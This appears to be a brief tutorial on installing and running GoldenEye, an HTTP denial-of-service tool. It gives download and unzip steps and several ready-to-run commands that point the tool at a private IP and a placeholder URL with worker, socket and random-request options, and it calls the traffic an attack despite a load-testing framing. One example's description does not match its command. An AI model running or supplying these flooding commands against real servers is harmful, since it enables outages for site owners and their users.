Golden Eye DDoS Tool: Installation and Tool usage with examples

GoldenEye is one of the popular HTTP Denial Of Service Tools. It uses KeepAlive (and Connection: keep-alive) paired with Cache-Control options to persist socket connection busting through caching (when possible) until it consumes all available sockets HTTP/S server.

This tool can be used for Load Testing and testing of Network devices.

Download Link: https://sourceforge.net/projects/goldeneye/?source=typ_redirect

Click on the Download button to download the tool

Installation:

Zip files generally downloaded in the directory Downloads

Extract files from GoldenEye-master.zip

#unzip GoldenEye-master.zip

Check extracted files

#cd GoldenEye-master
#ls

Tool Usage:

Right-click in the directory GoldenEye-master and click Open in Terminal.

1. To display all usage options

#sudo ./goldeneye.py -h

2. To send traffic to the target machine

#sudo ./goldeneye.py <url>
#sudo ./goldeneye.py http://192.168.0.233:80/
#sudo ./goldeneye.py http://www.testurl.com

Use Ctrl + C to end attack

You can use the Wireshark tool to capture traffic

3. To send traffic of mode ‘random’ (both GET and POST Request) of 5 workers to the target machine

#sudo ./goldeneye.py  http://192.168.0.233:80/ -w 5 -m random

4. To send traffic in ‘random’ mode with 10 workers running 5 connections each

#sudo ./goldeneye.py  http://192.168.0.233:80/ -s 5 -m random

Similarly, you can use other options to control network traffic.